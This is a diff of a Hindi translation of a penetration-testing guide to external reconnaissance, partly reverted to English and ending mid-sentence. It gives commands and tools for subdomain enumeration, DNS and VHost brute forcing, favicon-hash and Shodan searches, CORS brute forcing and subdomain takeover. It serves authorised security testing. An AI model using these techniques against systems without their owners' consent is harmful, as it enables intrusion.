#Using google dns ### **Favicon** -क्या आप जानते हैं कि हम एक ही फेविकॉन आइकन हैश की तलाश करके अपने लक्ष्य से संबंधित डोमेन और उप डोमेन पा सकते हैं? यह ठीक वही है जो [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) टूल करता है जिसे [@m4ll0k2](https://twitter.com/m4ll0k2) ने बनाया है। इसका उपयोग कैसे करें: +क्या आप जानते हैं कि हम एक ही फेविकॉन आइकन हैश की तलाश करके अपने लक्ष्य से संबंधित डोमेन और उप डोमेन पा सकते हैं? यह ठीक वही है जो [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) टूल [@m4ll0k2](https://twitter.com/m4ll0k2) द्वारा बनाया गया है। इसका उपयोग कैसे करें: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -122,11 +122,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s सरल शब्दों में, favihash हमें उन डोमेन को खोजने की अनुमति देगा जिनका favicon आइकन हैश हमारे लक्ष्य के समान है। -इसके अलावा, आप favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाया गया है। इसका मतलब है कि यदि आप जानते हैं कि **एक कमजोर वेब तकनीक के favicon का हैश** क्या है, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को खोज सकते हैं: +इसके अलावा, आप favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाया गया है। इसका मतलब है कि यदि आप जानते हैं कि **एक कमजोर संस्करण के वेब तकनीक का favicon का हैश** क्या है, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को खोज सकते हैं: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -यहाँ बताया गया है कि आप एक वेब का **फेविकॉन हैश** कैसे गणना कर सकते हैं: +यहाँ बताया गया है कि आप एक वेब का **फेविकॉन हैश** कैसे **गणना** कर सकते हैं: ```python import mmh3 import requests @@ -141,7 +141,7 @@ return fhash ``` ### **Copyright / Uniq string** -वेब पृष्ठों के अंदर **ऐसे स्ट्रिंग्स खोजें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा किए जा सकते हैं**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग को **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोजें: `shodan search http.html:"Copyright string"` +वेब पृष्ठों के अंदर **स्ट्रिंग्स की खोज करें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा की जा सकती हैं**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग की **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोज करें: `shodan search http.html:"Copyright string"` ### **CRT Time** @@ -150,48 +150,48 @@ return fhash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -सर्वर पर सभी डोमेन प्रमाणपत्रों को नवीनीकरण करने के लिए। इसका मतलब है कि भले ही इसके लिए उपयोग किया जाने वाला CA वैधता समय में उत्पन्न होने का समय सेट न करे, यह संभव है कि **प्रमाणपत्र पारदर्शिता लॉग में उसी कंपनी के संबंधित डोमेन को ढूंढा जा सके**।\ -इस [**लेख को अधिक जानकारी के लिए देखें**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)। +to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ +Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). -### मेल DMARC जानकारी +### Mail DMARC information -आप [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) जैसी वेबसाइट या [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) जैसे टूल का उपयोग करके **समान DMARC जानकारी साझा करने वाले डोमेन और उपडोमेन** खोज सकते हैं। +आप एक वेब जैसे [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) या एक टूल जैसे [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) का उपयोग करके **एक ही dmarc जानकारी साझा करने वाले डोमेन और उपडोमेन** खोज सकते हैं। -### **पैसिव टेकओवर** +### **Passive Takeover** -स्पष्ट रूप से यह सामान्य है कि लोग उपडोमेन को उन IPs पर असाइन करते हैं जो क्लाउड प्रदाताओं से संबंधित होते हैं और किसी बिंदु पर **उस IP पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाना भूल जाते हैं**। इसलिए, बस **क्लाउड में एक VM स्पॉन करना** (जैसे Digital Ocean) आप वास्तव में **कुछ उपडोमेन पर कब्जा कर रहे होंगे**। +स्पष्ट रूप से यह सामान्य है कि लोग उपडोमेन को उन IPs पर असाइन करते हैं जो क्लाउड प्रदाताओं से संबंधित हैं और किसी बिंदु पर **उस IP पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाना भूल जाते हैं**। इसलिए, बस **एक VM स्पॉन करना** एक क्लाउड (जैसे Digital Ocean) में आप वास्तव में **कुछ उपडोमेन(s) पर कब्जा कर रहे होंगे**। -[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक स्टोर को समझाती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM स्पॉन करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं। +[**This post**](https://kmsec.uk/blog/passive-takeover/) इस बारे में एक स्टोर को समझाता है और एक स्क्रिप्ट का प्रस्ताव करता है जो **DigitalOcean में एक VM स्पॉन करता है**, **नए मशीन का** **IPv4** **प्राप्त करता है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करता है जो इसे इंगित करते हैं। -### **अन्य तरीके** +### **Other ways** -**ध्यान दें कि आप इस तकनीक का उपयोग हर बार नए डोमेन खोजने के लिए अधिक डोमेन नाम खोजने के लिए कर सकते हैं।** +**ध्यान दें कि आप इस तकनीक का उपयोग हर बार एक नया डोमेन खोजने के लिए अधिक डोमेन नाम खोजने के लिए कर सकते हैं।** **Shodan** -जैसा कि आप पहले से ही IP स्पेस के मालिक संगठन का नाम जानते हैं। आप उस डेटा को शोडन में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें। +जैसा कि आप पहले से ही IP स्पेस के मालिक संगठन का नाम जानते हैं। आप उस डेटा को shodan में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें। -आप मुख्य वेब पृष्ठ का **TLS प्रमाणपत्र** एक्सेस कर सकते हैं, **संगठन का नाम** प्राप्त कर सकते हैं और फिर **shodan** द्वारा ज्ञात सभी वेब पृष्ठों के **TLS प्रमाणपत्रों** के अंदर उस नाम की खोज कर सकते हैं जिसमें फ़िल्टर है: `ssl:"Tesla Motors"` या [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) जैसे टूल का उपयोग करें। +आप मुख्य वेब पृष्ठ का **TLS प्रमाणपत्र** एक्सेस कर सकते हैं, **संगठन का नाम** प्राप्त कर सकते हैं और फिर उस नाम को **shodan** द्वारा ज्ञात सभी वेब पृष्ठों के **TLS प्रमाणपत्रों** के अंदर खोज सकते हैं जिसमें फ़िल्टर है: `ssl:"Tesla Motors"` या [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) जैसे टूल का उपयोग करें। **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) एक टूल है जो **मुख्य डोमेन से संबंधित डोमेन** और उनके **उपडोमेन** की खोज करता है, काफी अद्भुत। +[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) एक टूल है जो **मुख्य डोमेन से संबंधित डोमेन** और उनके **उपडोमेन** की खोज करता है, काफी अद्भुत। -### **कमजोरियों की खोज** +### **Looking for vulnerabilities** -कुछ [डोमेन टेकओवर](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) के लिए जांचें। शायद कोई कंपनी **किसी डोमेन का उपयोग कर रही है** लेकिन उन्होंने **स्वामित्व खो दिया है**। बस इसे रजिस्टर करें (यदि यह सस्ता है) और कंपनी को सूचित करें। +कुछ [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) के लिए जांचें। शायद कोई कंपनी **किसी डोमेन का उपयोग कर रही है** लेकिन उन्होंने **स्वामित्व खो दिया है**। बस इसे रजिस्टर करें (यदि यह सस्ता है) और कंपनी को सूचित करें। -यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से अलग है**, तो आपको **बुनियादी कमजोरियों की स्कैनिंग** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में कुछ तरकीबें "हमले" करने के लिए** पा सकते हैं।\ -_ध्यान दें कि कभी-कभी डोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ +यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से अलग है**, तो आपको एक **बुनियादी सुरक्षा स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में कुछ तरकीबें "हमले" करने के लिए** पा सकते हैं।\ +_ध्यान दें कि कभी-कभी डोमेन एक ऐसे IP पर होस्ट किया जाता है जो क्लाइंट द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ -## उपडोमेन +## Subdomains > हम सभी कंपनियों को जानते हैं जो दायरे में हैं, प्रत्येक कंपनी की सभी संपत्तियाँ और कंपनियों से संबंधित सभी डोमेन। यह समय है कि प्रत्येक पाए गए डोमेन के सभी संभावित उपडोमेन खोजें। > [!TIP] -> ध्यान दें कि कुछ उपकरण और तकनीकें डोमेन खोजने के लिए उपडोमेन खोजने में भी मदद कर सकती हैं। +> ध्यान दें कि डोमेन खोजने के लिए कुछ टूल और तकनीकें उपडोमेन खोजने में भी मदद कर सकती हैं ### **DNS** @@ -250,9 +250,9 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -कुछ **अन्य दिलचस्प उपकरण/APIs** जो सीधे तौर पर उपडोमेन खोजने में विशेषज्ञ नहीं हैं, फिर भी उपडोमेन खोजने के लिए उपयोगी हो सकते हैं, जैसे: +कुछ **अन्य दिलचस्प उपकरण/एपीआई** हैं जो सीधे तौर पर उपडोमेन खोजने में विशेषज्ञ नहीं हैं, लेकिन उपडोमेन खोजने में उपयोगी हो सकते हैं, जैसे: -- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करके उपडोमेन प्राप्त करता है +- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करके उपडोमेन प्राप्त करता है। ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use @@ -282,12 +282,12 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -- [**gau**](https://github.com/lc/gau)**:** किसी दिए गए डोमेन के लिए AlienVault के Open Threat Exchange, Wayback Machine, और Common Crawl से ज्ञात URLs को लाता है। +- [**gau**](https://github.com/lc/gau)**:** किसी भी दिए गए डोमेन के लिए AlienVault के Open Threat Exchange, Wayback Machine, और Common Crawl से ज्ञात URLs को लाता है। ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **और** [**subscraper**](https://github.com/Cillian-Collins/subscraper): वे वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से उपडोमेन निकालते हैं। +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **और** [**subscraper**](https://github.com/Cillian-Collins/subscraper): ये वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से सबडोमेन निकालते हैं। ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -315,15 +315,15 @@ python3 DomainTrail.py -d example.com - [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और IP इतिहास के लिए एक मुफ्त API है - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में** प्रदान करता है। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या यहां तक कि इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में प्रदान करता है**। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -आप यहां इन उपकरणों की **तुलना** पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +आप इन उपकरणों की **तुलना** यहाँ पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **DNS ब्रूट फोर्स** आइए संभावित उपडोमेन नामों का उपयोग करके DNS सर्वरों को ब्रूट-फोर्स करके नए **उपडोमेन** खोजने की कोशिश करें। -इस क्रिया के लिए आपको कुछ **सामान्य उपडोमेन शब्दसूचियों की आवश्यकता होगी जैसे**: +इस क्रिया के लिए आपको कुछ **सामान्य उपडोमेन वर्डलिस्ट जैसे** की आवश्यकता होगी: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) `massdns` के चारों ओर एक wrapper है, जो गो में लिखा गया है, जो आपको सक्रिय ब्रूटफोर्स का उपयोग करके मान्य उपडोमेन की गणना करने की अनुमति देता है, साथ ही वाइल्डकार्ड हैंडलिंग और आसान इनपुट-आउटपुट समर्थन के साथ उपडोमेन को हल करता है। +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) एक `massdns` के चारों ओर एक wrapper है, जो गो में लिखा गया है, जो आपको सक्रिय ब्रूटफोर्स का उपयोग करके मान्य उपडोमेन की गणना करने की अनुमति देता है, साथ ही वाइल्डकार्ड हैंडलिंग और आसान इनपुट-आउटपुट समर्थन के साथ उपडोमेन को हल करता है। ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) डोमेन नामों को असिंक्रोनस तरीके से ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है। +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) डोमेन नामों को असिंक्रोनसली ब्रूट फोर्स करने के लिए asyncio का उपयोग करता है। ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` @@ -361,21 +361,21 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com खुले स्रोतों और ब्रूट-फोर्सिंग का उपयोग करके उपडोमेन खोजने के बाद, आप पाए गए उपडोमेन के परिवर्तनों को उत्पन्न कर सकते हैं ताकि और भी अधिक खोजने की कोशिश की जा सके। इस उद्देश्य के लिए कई उपकरण उपयोगी हैं: -- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** दिए गए डोमेन और उपडोमेन के लिए permutations उत्पन्न करें। +- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** दिए गए डोमेन और उपडोमेन के लिए permutations उत्पन्न करता है। ```bash cat subdomains.txt | dnsgen - ``` -- [**goaltdns**](https://github.com/subfinder/goaltdns): डोमेन और सबडोमेन दिए जाने पर संयोजन उत्पन्न करें। -- आप [**यहां**](https://github.com/subfinder/goaltdns/blob/master/words.txt) goaltdns संयोजन **शब्दसूची** प्राप्त कर सकते हैं। +- [**goaltdns**](https://github.com/subfinder/goaltdns): दिए गए डोमेन और सबडोमेन के लिए उत्परिवर्तन उत्पन्न करें। +- आप **wordlist** के लिए goaltdns उत्परिवर्तन [**यहां**](https://github.com/subfinder/goaltdns/blob/master/words.txt) प्राप्त कर सकते हैं। ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` -- [**gotator**](https://github.com/Josue87/gotator)**:** डोमेन और सबडोमेन दिए जाने पर उत्परिवर्तन उत्पन्न करें। यदि उत्परिवर्तन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा। +- [**gotator**](https://github.com/Josue87/gotator)**:** दिए गए डोमेन और उपडोमेन के लिए उत्परिवर्तन उत्पन्न करें। यदि उत्परिवर्तन फ़ाइल निर्दिष्ट नहीं की गई है, तो gotator अपनी स्वयं की फ़ाइल का उपयोग करेगा। ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` -- [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की कोशिश भी कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)। -- आप altdns संयोजन **शब्दसूची** [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं। +- [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन के संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की भी कोशिश कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)। +- आप [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) altdns संयोजनों की **शब्दसूची** प्राप्त कर सकते हैं। ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -387,7 +387,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ ``` - [**alterx**](https://github.com/projectdiscovery/alterx)**:** एक डोमेन के आधार पर यह **संकेतित पैटर्न के आधार पर नए संभावित उपडोमेन नाम उत्पन्न करता है** ताकि अधिक उपडोमेन खोजने की कोशिश की जा सके। -#### स्मार्ट परम्यूटेशन जनरेशन +#### स्मार्ट परिमाण उत्पन्न करना - [**regulator**](https://github.com/cramppet/regulator): अधिक जानकारी के लिए इस [**पोस्ट**](https://cramppet.github.io/regulator/index.html) को पढ़ें लेकिन यह मूल रूप से **खोजे गए उपडोमेन** के **मुख्य भागों** को प्राप्त करेगा और अधिक उपडोमेन खोजने के लिए उन्हें मिलाएगा। ```bash @@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक उपडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीक रूप से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें और भी आगे बढ़ाया जा सके। +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक सबडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीकता से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें और भी आगे बढ़ाया जा सके। ``` echo www | subzuf facebook.com ``` @@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ ### **VHosts / वर्चुअल होस्ट** -यदि आपने एक IP पता पाया है जिसमें **एक या एक से अधिक वेब पृष्ठ** सबडोमेनों से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेनों को खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन के लिए देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**। +यदि आपने एक IP पता पाया है जिसमें **एक या कई वेब पृष्ठ** सबडोमेनों से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेनों को खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन के लिए देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**। #### OSINT @@ -435,12 +435,12 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` -> [!NOTE] +> [!TIP] > इस तकनीक के साथ, आप आंतरिक/छिपे हुए एंडपॉइंट्स तक भी पहुँच सकते हैं। ### **CORS Brute Force** -कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** को **खोज** सकते हैं। +कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं। ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` @@ -451,22 +451,22 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ### **निगरानी** -आप **निगरानी** कर सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए जा रहे हैं या नहीं, इसके लिए **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स [**सब्लर्ट**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) का उपयोग करें। +आप **निगरानी** कर सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए जा रहे हैं या नहीं, **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स [**सब्लर्ट** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) द्वारा किया जाता है। ### **कमजोरियों की तलाश** संभव [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\ यदि **सबडोमेन** किसी **S3 बकेट** की ओर इशारा कर रहा है, तो [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/index.html). -यदि आप किसी **सबडोमेन को एक IP अलग** पाते हैं जो आपने पहले से एसेट खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\ -_ध्यान दें कि कभी-कभी सबडोमेन एक IP के अंदर होस्ट किया जाता है जो क्लाइंट द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ +यदि आप किसी **सबडोमेन को एक IP अलग** पाते हैं जो आपने पहले से संपत्तियों की खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\ +_ध्यान दें कि कभी-कभी सबडोमेन एक IP के भीतर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ ## आईपी प्रारंभिक चरणों में, आप **कुछ IP रेंज, डोमेन और सबडोमेन** पा सकते हैं।\ अब **उन रेंज से सभी आईपी को इकट्ठा करने** और **डोमेन/सबडोमेन (DNS क्वेरी)** के लिए समय है। -निम्नलिखित **फ्री एपीआई** की सेवाओं का उपयोग करके, आप **डोमेन और सबडोमेन द्वारा उपयोग किए गए पिछले आईपी** भी पा सकते हैं। ये आईपी अभी भी क्लाइंट के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare बायपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं) +निम्नलिखित **फ्री एपीआई** की सेवाओं का उपयोग करके, आप **डोमेन और सबडोमेन द्वारा उपयोग किए गए पिछले आईपी** भी पा सकते हैं। ये आईपी अभी भी ग्राहक के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare बायपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं) - [**https://securitytrails.com/**](https://securitytrails.com/) @@ -474,15 +474,15 @@ _ध्यान दें कि कभी-कभी सबडोमेन ए ### **कमजोरियों की तलाश** -**CDNs से संबंधित सभी आईपी का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। चल रही सेवाओं में, आप **कमजोरियों** को **पाने में सक्षम हो सकते हैं**। +**CDNs से संबंधित सभी आईपी का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। चल रही सेवाओं में, आप **कमजोरियों को खोजने में सक्षम हो सकते हैं**। **होस्ट स्कैन करने के लिए एक** [**गाइड**](../pentesting-network/index.html) **खोजें।** ## वेब सर्वर शिकार -> हमने सभी कंपनियों और उनके एसेट्स को खोज लिया है और हम दायरे के भीतर आईपी रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है। +> हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है। -पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IP और डोमेन का कुछ रीकॉन किया है**, इसलिए आप **संभवतः सभी संभावित वेब सर्वरों को पहले से ही खोज चुके हैं**। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे। +पिछले चरणों में, आपने शायद पहले से ही खोजे गए **IPs और डोमेन का कुछ रीकॉन किया है**, इसलिए आप **संभवतः सभी संभावित वेब सर्वरों को पहले ही खोज चुके हैं**। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे। कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट 